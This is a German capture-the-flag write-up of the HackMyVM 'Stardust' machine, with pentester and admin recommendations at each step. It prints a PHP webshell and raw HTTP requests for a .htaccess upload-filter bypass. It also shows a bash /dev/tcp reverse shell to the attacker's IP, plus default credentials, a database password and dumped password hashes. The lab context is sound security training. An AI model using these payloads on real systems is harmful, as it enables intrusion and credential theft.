Stardust - HackMyVM - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
vi
nmap
nikto
gobuster
wfuzz
curl
Burp Suite
nc (netcat)
python3
mysql
john
su
sudo
find
ls
cat
wget
pspy64
file
jq
tar
nano
cp
mv
cd

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cycat)-[~] └─# arp-scan -l
192.168.2.111	08:00:27:65:79:a2	PCS Systemtechnik GmbH

Analyse: Der Befehl `arp-scan -l` wird verwendet, um aktive Hosts im lokalen Netzwerk zu identifizieren. Es wird ein Host mit der IP 192.168.2.111 und der MAC-Adresse 08:00:27:65:79:a2 (PCS Systemtechnik GmbH / Oracle VirtualBox) gefunden.

Bewertung: Das Zielsystem "Stardust" wurde erfolgreich im Netzwerk lokalisiert. Die IP 192.168.2.111 ist die Basis für weitere Scans.

Empfehlung (Pentester): Notieren Sie die Ziel-IP. Führen Sie Port-Scans (z.B. mit `nmap`) durch, um offene Dienste zu ermitteln.
Empfehlung (Admin): Netzwerksegmentierung kann die Sichtbarkeit von Hosts einschränken. ARP-Aktivitäten überwachen.

┌──(root㉿cycat)-[~] └─# vi /etc/hosts
[Inhalt /etc/hosts nach Bearbeitung]
127.0.0.1	localhost
192.168.2.111   stardust.hmv

Analyse: Die lokale Hosts-Datei des Angreifer-Systems wird bearbeitet, um den Hostnamen `stardust.hmv` der gefundenen IP-Adresse 192.168.2.111 zuzuordnen.

Bewertung: Standardmäßiger, notwendiger Schritt, um das Zielsystem über seinen Hostnamen ansprechen zu können.

Empfehlung (Pentester): Sicherstellen, dass die Zuordnung korrekt ist.
Empfehlung (Admin): Keine direkte Aktion erforderlich.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.111 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-21 23:33 CEST
Nmap scan report for stardust.hmv (192.168.2.111)
Host is up (0.00021s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 db:f9:46:e5:20:81:6c:ee:c7:25:08:ab:22:51:36:6c (RSA)
|   256 33:c0:95:64:29:47:23:dd:86:4e:e6:b8:07:33:67:ad (ECDSA)
|_  256 be:aa:6d:42:43:dd:7d:d4:0e:0d:74:78:c1:89:a1:36 (ED25519)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
|_http-title: Authentication - GLPI <-- GLPI Installation!
|_http-server-header: Apache/2.4.56 (Debian)
MAC Address: 08:00:27:65:79:A2 (Oracle VirtualBox virtual NIC)
[...]
OS details: Linux 4.15 - 5.6
[...]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.21 ms stardust.hmv (192.168.2.111)
[...]
┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.111 -p- | grep open
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))

Analyse: Ein umfassender Nmap-Scan (`-p-`, `-sC`, `-sV`, `-A`) identifiziert zwei offene TCP-Ports:

Bewertung: Die Hauptangriffsfläche ist die GLPI-Installation auf Port 80. GLPI hat in der Vergangenheit mehrere Schwachstellen aufgewiesen (SQLi, RCE, LFI). SSH ist ein sekundäres Ziel.

Empfehlung (Pentester): Recherchieren Sie die GLPI-Version (falls möglich) und suchen Sie nach bekannten Exploits (`searchsploit glpi`). Führen Sie Web-Enumeration (Directory Busting mit `gobuster`/`ffuf`, Nikto) auf Port 80 durch. Versuchen Sie Standard-GLPI-Zugangsdaten (`glpi/glpi`, `tech/tech`, `normal/normal`, `post-only/postonly`).
Empfehlung (Admin): Halten Sie GLPI, Apache und SSH immer auf dem neuesten Stand. Schützen Sie die GLPI-Installation durch starke Passwörter, Zugriffsbeschränkungen und regelmäßige Sicherheitsüberprüfungen.

Enumeration (Web, GLPI)

┌──(root㉿cycat)-[~] └─# nikto -h 192.168.2.111
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.111
+ Target Hostname:    192.168.2.111
+ Target Port:        80
+ Start Time:         2023-07-21 23:33:27 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.56 (Debian)
+ /: Cookie glpi_40d1b2d83998fabacb726e5bc3d22129 created without the httponly flag. [...]
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ /bin/: Directory indexing found.
+ /: Web Server returns a valid response with junk HTTP methods [...]
+ /: DEBUG HTTP verb may show server debugging information. [...]
+ /inc/config.php: Bookmark4U v1.8.3 include files are not protected [...] <-- Wahrscheinlich False Positive, nicht Bookmark4U
+ /config/: Directory indexing found.
+ /config/: Configuration information may be available remotely.
+ /bin/: This might be interesting.
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /files/: Directory indexing found.
+ /files/: This might be interesting.
+ /install/: This might be interesting. <-- Installationsverzeichnis!
+ /lib/: This might be interesting.
+ /pics/: Directory indexing found.
+ /pics/: This might be interesting.
+ /public/: This might be interesting.
+ /src/: Directory indexing found.
+ /README.md: Readme Found.
+ 8910 requests: 0 error(s) and 21 item(s) reported on remote host
+ End Time:           2023-07-21 23:34:09 (GMT2) (42 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: Ein `nikto`-Scan auf Port 80 liefert viele Ergebnisse, die typisch für eine GLPI-Installation sind:

Bewertung: Nikto bestätigt die GLPI-Installation und deckt mehrere Informationslecks und potenziell gefährliche Verzeichnisse auf. Das `/install/`-Verzeichnis und das `/config/`-Verzeichnis (mit Directory Indexing) sind die wichtigsten Funde.

Empfehlung (Pentester): Untersuchen Sie dringend die Verzeichnisse `/install/` und `/config/`. Suchen Sie in `/config/` nach Datenbank-Zugangsdaten (oft `config_db.php`). Prüfen Sie `/install/`, ob eine Neuinstallation oder ein Reset ausgelöst werden kann. Laden Sie die `/README.md` herunter. Analysieren Sie die anderen Verzeichnisse mit Directory Indexing auf interessante Dateien.
Empfehlung (Admin): Entfernen Sie das `/install/`-Verzeichnis nach der GLPI-Installation. Deaktivieren Sie Directory Indexing für alle Verzeichnisse (`Options -Indexes` in Apache). Sichern Sie das `/config/`-Verzeichnis besonders ab (z.B. Zugriff über `.htaccess` beschränken). Implementieren Sie die fehlenden Security Header.

┌──(root㉿cycat)-[~] └─# gobuster dir -u http://stardust.hmv -x [...],php,html,[...] -w "/usr/share/seclists/[...]/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
[...]
http://stardust.hmv/index.php            (Status: 200) [Size: 9137]
http://stardust.hmv/templates            (Status: 301) [Size: 316] [--> http://stardust.hmv/templates/]
http://stardust.hmv/resources            (Status: 301) [Size: 316] [--> http://stardust.hmv/resources/]
http://stardust.hmv/files                (Status: 301) [Size: 312] [--> http://stardust.hmv/files/]
http://stardust.hmv/pics                 (Status: 301) [Size: 311] [--> http://stardust.hmv/pics/]
http://stardust.hmv/public               (Status: 301) [Size: 313] [--> http://stardust.hmv/public/]
http://stardust.hmv/version              (Status: 301) [Size: 314] [--> http://stardust.hmv/version/] <-- Version Info?
http://stardust.hmv/bin                  (Status: 301) [Size: 310] [--> http://stardust.hmv/bin/]
http://stardust.hmv/plugins              (Status: 301) [Size: 314] [--> http://stardust.hmv/plugins/]
http://stardust.hmv/css                  (Status: 301) [Size: 310] [--> http://stardust.hmv/css/]
http://stardust.hmv/ajax                 (Status: 301) [Size: 311] [--> http://stardust.hmv/ajax/]
http://stardust.hmv/install              (Status: 301) [Size: 314] [--> http://stardust.hmv/install/]
http://stardust.hmv/lib                  (Status: 301) [Size: 310] [--> http://stardust.hmv/lib/]
http://stardust.hmv/src                  (Status: 301) [Size: 310] [--> http://stardust.hmv/src/]
http://stardust.hmv/status.php           (Status: 200) [Size: 115] <-- Status Seite?
http://stardust.hmv/front                (Status: 301) [Size: 312] [--> http://stardust.hmv/front/]
http://stardust.hmv/js                   (Status: 301) [Size: 309] [--> http://stardust.hmv/js/]
http://stardust.hmv/marketplace          (Status: 301) [Size: 318] [--> http://stardust.hmv/marketplace/]
http://stardust.hmv/vendor               (Status: 301) [Size: 313] [--> http://stardust.hmv/vendor/]
http://stardust.hmv/config               (Status: 301) [Size: 313] [--> http://stardust.hmv/config/]
http://stardust.hmv/inc                  (Status: 301) [Size: 310] [--> http://stardust.hmv/inc/]
http://stardust.hmv/sound                (Status: 301) [Size: 312] [--> http://stardust.hmv/sound/]
http://stardust.hmv/LICENSE              (Status: 200) [Size: 35148]
[...]

Analyse: Ein `gobuster dir`-Scan auf Port 80 bestätigt viele der von Nikto gefundenen Verzeichnisse, die zur Standardstruktur von GLPI gehören (`templates`, `files`, `pics`, `public`, `bin`, `plugins`, `css`, `ajax`, `install`, `lib`, `src`, `front`, `js`, `marketplace`, `vendor`, `config`, `inc`, `sound`). Zusätzlich werden `status.php` und `LICENSE` gefunden.

Bewertung: Bestätigt die GLPI-Struktur. Die `status.php`, `/config/` und `/install/` Verzeichnisse sind die vielversprechendsten Ziele für weitere Enumeration.

Empfehlung (Pentester): Untersuchen Sie `status.php`. Prüfen Sie `/config/` auf lesbare Konfigurationsdateien (insbesondere `config_db.php`). Prüfen Sie `/install/` auf Reste der Installationsroutine.
Empfehlung (Admin): Zugriff auf `/config` und `/install` einschränken oder letzteres entfernen. `status.php` auf Informationslecks prüfen.

# Manuelle Prüfung verschiedener Pfade und Logs (impliziert)
Versuch SQLi auf Login-Seite (http://stardust.hmv/front/login.php):
Payload: ' OR 1=1 -- -
Antwort: Error Incorrect username or password <-- SQLi wahrscheinlich nicht erfolgreich

Zugriff auf Templates (Beispiel):
http://stardust.hmv/templates/%7B%7B%20path('front/tracking.injector.php')%20%7D%7D <-- Sieht nach Template-Syntax aus (Twig?)
http://stardust.hmv/templates/{{ path('front/tracking.injector.php') }} <-- Sieht nach SSTI-Versuch aus?
# Ergebnis dieser Versuche unklar / nicht im Log

Log-Datei Fund (Quelle unklar, evtl. LFI oder anderer Leak):
/home/cycat/Downloads/php-errors.log <-- Lokaler Pfad des Angreifers!
[2023-05-04 20:55:32] glpiphplog.CRITICAL:   * Uncaught Exception Error: Class '' not found in /var/www/html/src/ITILSolution.php at line 104
[...]

Log-Datei Fund (Quelle unklar):
/home/cycat/Downloads/access-errors.log <-- Lokaler Pfad des Angreifers!
2023-07-21 23:33:51 [@stardust.hmv]
CSRF check failed for User ID:  at / <-- CSRF-Schutz scheint aktiv

Zugriff auf status.php:
http://192.168.2.111/status.php
GLPI_DB_OK
GLPI_SESSION_DIR_OK
No LDAP server
No IMAP server
No CAS server
No mail collector
Crontasks_OK
GLPI_OK

Zugriff auf Konfigurationsdatei (erfolglos):
http://stardust.hmv/inc/config.php
Sorry. You can't access this file directly
curl http://stardust.hmv/inc/config.php -sI
HTTP/1.1 200 OK <-- Datei existiert, direkter Zugriff blockiert

Weitere gefundene Dateien im /inc Verzeichnis:
http://stardust.hmv/inc/index.php            (Status: 200) [Size: 0]
http://stardust.hmv/inc/includes.php         (Status: 200) [Size: 0]
http://stardust.hmv/inc/config.php           (Status: 200) [Size: 42] <-- Widerspruch? Größe 42, aber Zugriff blockiert?
http://stardust.hmv/inc/define.php           (Status: 500) [Size: 0] <-- Serverfehler

Analyse: Mehrere Enumerationsschritte werden durchgeführt oder beschrieben:

Bewertung: Die Anwendung scheint gegen einfache SQLi geschützt zu sein. Die Log-Dateien liefern interne Pfade, sind aber ohne Kontext schwer zu nutzen. `status.php` ist informativ, aber kein direkter Exploit. Der blockierte Zugriff auf `config.php` ist normal. Der 500er-Fehler bei `define.php` könnte weiter untersucht werden. Die Template-Syntax-Versuche deuten auf die Suche nach SSTI hin, was bei komplexen Webanwendungen ein möglicher Vektor ist.

Empfehlung (Pentester): Versuchen Sie, Standard-Logins für GLPI (`glpi/glpi`, `tech/tech` etc.). Untersuchen Sie das `/ajax/`-Verzeichnis (z.B. `getFileTag.php`, wie im nächsten Schritt angedeutet) auf Schwachstellen. Prüfen Sie bekannte GLPI-Exploits gegen die (noch unbekannte) Version.
Empfehlung (Admin): Stellen Sie sicher, dass keine Log-Dateien oder internen Fehlerdetails nach außen dringen. Schützen Sie Konfigurationsdateien. Beheben Sie den 500er-Fehler in `define.php`. Halten Sie GLPI aktuell.

# Hinweis auf ajax/getFileTag.php
http://stardust.hmv/ajax/getFileTag.php

Analyse: Es wird auf die Datei `/ajax/getFileTag.php` hingewiesen. AJAX-Endpunkte sind oft anfällig für verschiedene Schwachstellen, da sie direkt aufgerufen werden können und manchmal weniger strenge Prüfungen haben.

Bewertung: Diese Datei sollte gezielt untersucht werden.

Empfehlung (Pentester): Rufen Sie die URL auf. Analysieren Sie die erwarteten Parameter (ggf. im JavaScript-Code der Hauptanwendung suchen). Testen Sie auf SQLi, LFI, RCE etc.
Empfehlung (Admin): Sichern Sie alle AJAX-Endpunkte genauso sorgfältig ab wie andere Teile der Anwendung.

# Recherche nach Standard-GLPI-Logins
Googlesuche nach Standard Login:
[...]
you have 4 differents profils

glpi/glpi (super-admin)
tech/tech
postonly/postonly (only for helpdesk)
normal/normal

Analyse: Es wird nach Standard-Zugangsdaten für GLPI gesucht. Die üblichen Paare werden gefunden: `glpi/glpi`, `tech/tech`, `normal/normal`, `postonly/postonly`.

Bewertung: Standard-Enumerationsschritt.

Empfehlung (Pentester): Testen Sie diese Standard-Logins auf der Seite `http://stardust.hmv/front/login.php` (oder `/index.php`).
Empfehlung (Admin): Ändern Sie *alle* Standardpasswörter sofort nach der Installation.

# Login-Versuch mit tech:tech (impliziert)
http://stardust.hmv/front/central.php <-- Erfolgreicher Login als tech

Analyse: Der Login mit den Standard-Zugangsdaten `tech`:`tech` war erfolgreich, da der Zugriff auf `central.php` (die Hauptseite nach dem Login) möglich ist.

Bewertung: Kritische Schwachstelle! Ein Standardpasswort wurde nicht geändert. Dies gewährt Zugriff auf die Anwendung als technischer Benutzer.

Empfehlung (Pentester): Enumerieren Sie die Funktionen, die als `tech`-Benutzer verfügbar sind. Suchen Sie nach Möglichkeiten, Dateien hochzuladen, Code auszuführen, Konfigurationen einzusehen oder die Rechte weiter zu eskalieren.
Empfehlung (Admin): Ändern Sie das `tech`-Standardpasswort und alle anderen Standardpasswörter sofort.

# Untersuchung nach Login
LFI-Versuche über document.send.php (scheitern):
http://stardust.hmv/front/document.send.php?file=/etc/passwd
http://stardust.hmv/front/document.send.php?file=/var/log/access.log
Antwort: Unerlaubter Zugriff auf diese Datei

Hinweis in Ticket gefunden (Seite: ticket.form.php?id=6):
Solution: We are currently experiencing technical problems with intranet.
We have set up a backup server accessible without VPN: intranetik.stardust.hmv

Analyse: Nach dem Login als `tech` werden weitere Tests durchgeführt:

Bewertung: Die LFI-Versuche waren erfolglos. Der Hinweis auf `intranetik.stardust.hmv` ist jedoch ein sehr wichtiger Fund und deutet auf einen weiteren VHost oder ein separates System hin.

Empfehlung (Pentester): Fügen Sie `intranetik.stardust.hmv` zur `/etc/hosts`-Datei hinzu (auf die IP 192.168.2.111). Rufen Sie diesen neuen Hostnamen im Browser auf und beginnen Sie mit dessen Enumeration.
Empfehlung (Admin): Stellen Sie sicher, dass interne Hostnamen nicht in öffentlich zugänglichen Tickets oder Kommentaren preisgegeben werden. Sichern Sie interne Systeme angemessen ab.

# Analyse von intranetik.stardust.hmv (impliziert)
Aufruf von http://intranetik.stardust.hmv/index.php:
Stardust File Upload
Use this page to upload files to the company's shared server.
Note that file types such as .php, .py, .sh, .asp, etc., are not allowed.
[...]

Test-Upload (shell.php.jpg):
Versuchter Zugriff auf http://intranetik.stardust.hmv/shell.php.jpg:
Fehler: Die Grafik [...] kann nicht angezeigt werden, weil sie Fehler enthält <-- Datei existiert, wird aber nicht als Bild interpretiert

Analyse: Der neue VHost `intranetik.stardust.hmv` wird untersucht. Er enthält eine einfache Dateiupload-Seite. Ein Hinweis besagt, dass bestimmte Dateitypen (`.php`, `.py`, `.sh` etc.) nicht erlaubt sind. Ein Test-Upload einer Datei namens `shell.php.jpg` scheint erfolgreich zu sein (keine Fehlermeldung beim Upload), aber der direkte Zugriff auf die Datei im Browser führt zu einem Fehler, der darauf hindeutet, dass der Server sie nicht als Bild erkennt (weil sie wahrscheinlich PHP-Code enthält).

Bewertung: Es gibt eine Upload-Funktion mit einer Blacklist für gefährliche Dateiendungen. Diese Blacklist ist jedoch oft unvollständig oder kann umgangen werden (z.B. durch doppelte Endungen wie `.php.jpg`, alternative PHP-Endungen wie `.phtml`, Groß-/Kleinschreibung, oder durch Manipulation des Content-Types). Die Tatsache, dass die `.php.jpg`-Datei zwar hochgeladen, aber nicht korrekt angezeigt wird, deutet darauf hin, dass der Upload an sich funktioniert, aber die Ausführung als PHP noch verhindert wird.

Empfehlung (Pentester): Versuchen Sie verschiedene Bypass-Techniken für den Upload-Filter: 1. Groß-/Kleinschreibung: `shell.PhP` 2. Alternative Endungen: `shell.phtml`, `shell.php5`, etc. 3. Doppelte Endungen (wie bereits versucht, aber ggf. mit anderer Reihenfolge). 4. Manipulation des Content-Types im Upload-Request (mit Burp Suite). 5. Versuchen Sie, eine `.htaccess`-Datei hochzuladen, um dem Server beizubringen, harmlose Endungen (z.B. `.ben`) als PHP auszuführen.
Empfehlung (Admin): Implementieren Sie eine Whitelist für erlaubte Dateiendungen beim Upload statt einer Blacklist. Validieren Sie den tatsächlichen MIME-Typ serverseitig. Speichern Sie Uploads außerhalb des Web-Roots oder ohne Ausführungsrechte. Erlauben Sie nicht das Hochladen von Konfigurationsdateien wie `.htaccess`.

Initial Access (Webshell Upload via .htaccess Bypass)

# Upload-Versuch 1: PHP in .php.jpg (modifizierter Content-Type)
POST /index.php HTTP/1.1
Host: intranetik.stardust.hmv
[...]
Content-Type: multipart/form-data; boundary=---------------------------19823407031929607804901358391
[...]

-----------------------------19823407031929607804901358391
Content-Disposition: form-data; name="file"; filename="shell.php .jpg" <-- Leerzeichen vor .jpg?
Content-Type: application/x-php <-- Content-Type geändert

GIF89a;
php system($GET['cmd']); <-- Magic Bytes + PHP Payload
-----------------------------19823407031929607804901358391--

HTTP/1.1 200 OK
[...]
File uploaded successfully.

Analyse: Ein Upload-Versuch wird mit Burp Suite modifiziert:

Der Upload ist laut Serverantwort erfolgreich.

Bewertung: Dieser Versuch zielt darauf ab, sowohl den Endungsfilter (durch das `.jpg` am Ende, obwohl das Leerzeichen davor problematisch sein könnte) als auch eine mögliche Content-Type-Prüfung (durch Setzen auf `x-php`) und eine Magic-Byte-Prüfung (durch `GIF89a;`) zu umgehen. Da der Upload erfolgreich war, scheint die serverseitige Validierung schwach zu sein. Es ist jedoch unklar, ob die Datei als PHP ausgeführt wird.

Empfehlung (Pentester): Versuchen Sie, auf die hochgeladene Datei (`http://intranetik.stardust.hmv/shell.php%20.jpg`?) zuzugreifen und Code auszuführen. Wenn dies nicht funktioniert, ist der `.htaccess`-Ansatz vielversprechender.
Empfehlung (Admin): Implementieren Sie robuste, mehrstufige Upload-Validierung (Endung per Whitelist, MIME-Type serverseitig prüfen, Magic Bytes prüfen).

# Upload-Versuch 2: Webshell mit harmloser Endung (.ben)
POST /index.php HTTP/1.1
Host: intranetik.stardust.hmv
[...]
Content-Disposition: form-data; name="file"; filename="shell.ben"
Content-Type: image/jpeg <-- Erlaubter Content-Type

jpeg5: <-- Beliebiger Inhalt, hier mit Hinweis
php system($GET['cmd']);  <-- PHP Payload
-----------------------------19823407031929607804901358391--

HTTP/1.1 200 OK
[...]
File uploaded successfully.

Analyse: Es wird eine Datei mit dem Namen `shell.ben` und dem erlaubten `Content-Type: image/jpeg` hochgeladen. Der Inhalt ist jedoch wieder PHP-Code, diesmal mit einem vorangestellten String "jpeg5:". Der Upload ist erfolgreich.

Bewertung: Die Anwendung erlaubt das Hochladen von Dateien mit der Endung `.ben`, wenn der Content-Type passt. Der Server wird diese Datei jedoch standardmäßig nicht als PHP ausführen.

Empfehlung (Pentester): Der nächste logische Schritt ist das Hochladen einer `.htaccess`-Datei, um dem Apache-Server beizubringen, Dateien mit der Endung `.ben` als PHP zu interpretieren.
Empfehlung (Admin): Keine ausführbaren oder Konfigurationsdateien wie `.htaccess` erlauben. Whitelist für Dateiendungen verwenden.

# Upload-Versuch 3: .htaccess Datei
POST /index.php HTTP/1.1
Host: intranetik.stardust.hmv
[...]
Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: application/x-php <-- Content-Type hier irrelevant

AddType application/x-httpd-php .ben <-- .htaccess Inhalt
-----------------------------19823407031929607804901358391--

HTTP/1.1 200 OK
[...]
File uploaded successfully.

Analyse: Eine Datei mit dem Namen `.htaccess` wird hochgeladen. Der Inhalt weist Apache an, Dateien mit der Endung `.ben` als PHP-Skripte zu behandeln (`AddType application/x-httpd-php .ben`). Der Upload ist erfolgreich.

Bewertung: Kritischer Erfolg! Die Anwendung erlaubt das Hochladen von `.htaccess`-Dateien. Dies ermöglicht es dem Angreifer, die Serverkonfiguration für das aktuelle Verzeichnis (und potenziell Unterverzeichnisse) zu ändern und die zuvor hochgeladene `shell.ben` ausführbar zu machen.

Empfehlung (Pentester): Rufen Sie nun die zuvor hochgeladene `shell.ben` (oder eine neu hochgeladene Version wie `chehade.ben`) mit einem `cmd`-Parameter auf, um RCE zu bestätigen und eine Reverse Shell zu starten.
Empfehlung (Admin): Verhindern Sie das Hochladen von `.htaccess`-Dateien (und anderen sensiblen Konfigurationsdateien) durch eine strikte Whitelist für Dateinamen und Endungen. Konfigurieren Sie Apache global so, dass `.htaccess`-Overrides deaktiviert sind, wenn nicht unbedingt benötigt (`AllowOverride None`).

# Upload-Versuch 4: Neue Webshell (.ben) nach .htaccess Upload
POST /index.php HTTP/1.1
[...]
Content-Disposition: form-data; name="file"; filename="chehade.ben"
Content-Type: image/jpeg

jpeg5:
php system($GET['cmd']);
-----------------------------19823407031929607804901358391--

HTTP/1.1 200 OK
[...]
File uploaded successfully.
# RCE Test
Aufruf: http://intranetik.stardust.hmv/chehade.ben?cmd=id
Antwort: jpeg5: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Analyse: Nachdem die `.htaccess`-Datei hochgeladen wurde, wird eine neue Webshell (`chehade.ben`) hochgeladen. Anschließend wird diese Shell mit dem Parameter `cmd=id` aufgerufen. Die Antwort enthält "jpeg5:" (den statischen Teil der hochgeladenen Datei) gefolgt von der Ausgabe des `id`-Befehls.

Bewertung: Remote Code Execution als `www-data` ist erfolgreich bestätigt! Der `.htaccess`-Upload hat Apache angewiesen, `.ben`-Dateien als PHP auszuführen.

Empfehlung (Pentester): Nutzen Sie die RCE, um eine Reverse Shell zu erhalten.
Empfehlung (Admin): Beheben Sie die Upload-Schwachstelle und die Möglichkeit, `.htaccess` hochzuladen.

┌──(root㉿cycat)-[~] └─# nc -lvnp 9001
listening on [any] 9001 ...
# Aufruf der Webshell mit Reverse Shell Payload
Payload URL: http://intranetik.stardust.hmv/chehade.ben?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F9001%200%3E%261%27
┌──(root㉿cycat)-[~] └─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.111] 59010
bash: cannot set terminal process group (499): Inappropriate ioctl for device
bash: no job control in this shell
www-data@stardust:/var/www/intranetik$ # Shell erhalten!

Analyse: Ein Netcat-Listener wird gestartet. Die Webshell `chehade.ben` wird mit einem Bash-Reverse-Shell-Payload aufgerufen. Der Listener empfängt die Verbindung, und der Angreifer erhält eine Shell als `www-data`.

Bewertung: Initial Access erfolgreich etabliert via RCE durch Upload-Bypass.

Empfehlung (Pentester): Shell stabilisieren und mit der Enumeration als `www-data` beginnen.
Empfehlung (Admin): Upload-Schwachstelle und `.htaccess`-Problem beheben.

Proof of Concept (Initial Access - Webshell Upload via .htaccess Bypass)

Kurzbeschreibung: Die Webanwendung unter `http://intranetik.stardust.hmv` (ein über einen Hinweis entdeckter VHost) verfügt über eine Dateiupload-Funktion (`index.php`), die eine unzureichende Filterung von Dateiendungen und -namen aufweist. Obwohl sie versucht, das Hochladen von Skriptdateien wie `.php` zu verhindern, erlaubt sie das Hochladen von `.htaccess`-Dateien. Dies ermöglicht einem Angreifer, zuerst eine `.htaccess`-Datei hochzuladen, die den Webserver (Apache) anweist, eine harmlose Dateiendung (z.B. `.ben`) als PHP-Skript zu interpretieren. Anschließend kann der Angreifer eine zweite Datei mit der harmlosen Endung (z.B. `shell.ben`) hochladen, die PHP-Webshell-Code enthält. Beim Aufruf dieser zweiten Datei wird der PHP-Code ausgeführt, was zu Remote Code Execution (RCE) führt.

Voraussetzungen:

Schritt-für-Schritt Anleitung:

  1. `.htaccess`-Datei hochladen: Senden Sie einen POST-Request an `/index.php` auf `intranetik.stardust.hmv`. Verwenden Sie `multipart/form-data`. Setzen Sie den `filename` auf `.htaccess` und fügen Sie als Dateiinhalt die Direktive ein, um `.ben` als PHP zu behandeln:
    POST /index.php HTTP/1.1
    Host: intranetik.stardust.hmv
    [...]
    Content-Type: multipart/form-data; boundary=---BOUNDARY---
    [...]
    
    ---BOUNDARY---
    Content-Disposition: form-data; name="file"; filename=".htaccess"
    Content-Type: text/plain <-- Content-Type hier weniger wichtig
    
    AddType application/x-httpd-php .ben
    ---BOUNDARY---
    
    Bestätigen Sie den erfolgreichen Upload ("File uploaded successfully.").
  2. Webshell-Datei hochladen: Senden Sie einen weiteren POST-Request. Setzen Sie den `filename` auf einen Namen mit der neuen Endung (z.B. `chehade.ben`). Setzen Sie den `Content-Type` auf einen erlaubten Typ (z.B. `image/jpeg`). Fügen Sie als Dateiinhalt den PHP-Webshell-Code ein:
    POST /index.php HTTP/1.1
    Host: intranetik.stardust.hmv
    [...]
    Content-Type: multipart/form-data; boundary=---BOUNDARY---
    [...]
    
    ---BOUNDARY---
    Content-Disposition: form-data; name="file"; filename="chehade.ben"
    Content-Type: image/jpeg
    
    php system($GET['cmd']);
    ---BOUNDARY---
    
    Bestätigen Sie den erfolgreichen Upload.
  3. RCE testen: Rufen Sie die hochgeladene `.ben`-Datei auf und übergeben Sie einen Befehl im `cmd`-Parameter:
    ┌──(root㉿cycat)-[~] └─# curl "http://intranetik.stardust.hmv/chehade.ben?cmd=id"
    uid=33(www-data) gid=33(www-data) groups=33(www-data)

Erwartetes Ergebnis: Die Fähigkeit, beliebige Betriebssystembefehle als `www-data`-Benutzer über die hochgeladene `.ben`-Datei auszuführen.

Beweismittel: Die erfolgreiche Ausgabe des `id`-Befehls (oder anderer Testbefehle) beim Aufruf der `.ben`-Datei.

Risikobewertung: Hoch. Die Umgehung von Upload-Filtern durch das Hochladen einer `.htaccess`-Datei ist eine bekannte Technik, die zu RCE führt und die vollständige Kompromittierung des Webservers ermöglicht.

Empfehlungen zur Behebung:

Privilege Escalation (NPM Exploit)

www-data@stardust:/var/www/html/config$ cat config_db.php

class DB extends DBmysql {
   public $dbhost = 'localhost';
   public $dbuser = 'glpi';
   public $dbpassword = 'D6jsxBGek'; <-- DB Passwort gefunden!
   public $dbdefault = 'glpi';
[...]
}

Analyse: Als `www-data` wird die Datei `/var/www/html/config/config_db.php` (wahrscheinlich durch Browsen im Dateisystem nach dem Shell-Zugriff gefunden) gelesen. Diese Datei enthält die Zugangsdaten für die MySQL-Datenbank, die von GLPI verwendet wird: Benutzer `glpi` und Passwort `D6jsxBGek`.

Bewertung: Fund von Datenbank-Zugangsdaten. Dies ermöglicht den Zugriff auf die GLPI-Datenbank und potenziell auf weitere Datenbanken auf demselben MySQL-Server.

Empfehlung (Pentester): Verbinden Sie sich mit der MySQL-Datenbank (`mysql -u glpi -pD6jsxBGek`). Enumerieren Sie Datenbanken (`show databases;`), Tabellen (`use glpi; show tables;`, `use intranetikDB; show tables;`) und Benutzerdaten (insbesondere Passwort-Hashes in `glpi_users` und `intranetikDB.users`). Versuchen Sie, die gefundenen Hashes zu knacken.
Empfehlung (Admin): Beschränken Sie die Leserechte für Konfigurationsdateien wie `config_db.php` nur auf die notwendigen Benutzer (z.B. `root` und den Webserver-Benutzer). Verwenden Sie separate Datenbankbenutzer mit minimalen Rechten für verschiedene Anwendungen. Verwenden Sie keine leicht erratbaren Datenbankpasswörter.

www-data@stardust:/var/www/html/config$ mysql -u glpi -pD6jsxBGek
Welcome to the MariaDB monitor. [...]
MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| glpi               |
| information_schema |
| intranetikDB       | <-- Zusätzliche Datenbank
+--------------------+
MariaDB [(none)]> use intranetikDB;
Database changed
MariaDB [intranetikDB]> show tables;
+------------------------+
| Tables_in_intranetikDB |
+------------------------+
| users                  |
+------------------------+
MariaDB [intranetikDB]> select * from users;
+----+-----------+--------------------------------------------------------------+
| id | username  | password                                                     |
+----+-----------+--------------------------------------------------------------+
|  1 | carolynn  | $2b$12$HRVJrlSG5eSW44VaNlTwowu42c1l9AnbphDvcEXVMyhcB46ZtXC |
[...]
|  3 | tally     | $2b$12$zzVJjW1Bvm4WqcPy6nqDFU4JRh2mMpbeKKbP21cn7FKtNy4Ycjl. | <-- Hash für tally
[...]
+----+-----------+--------------------------------------------------------------+
15 rows in set (0.000 sec)
MariaDB [glpi]> select password,name from glpi_users;
+--------------------------------------------------------------+-------------+
| password                                                     | name        |
+--------------------------------------------------------------+-------------+
| $2y$10$rXXzbc2ShaiCldwkw4AZL.n.9QSH7c0c9XJAyyjrbL9BwmWditAYm | glpi        | <-- Hash für glpi
[...]
+--------------------------------------------------------------+-------------+

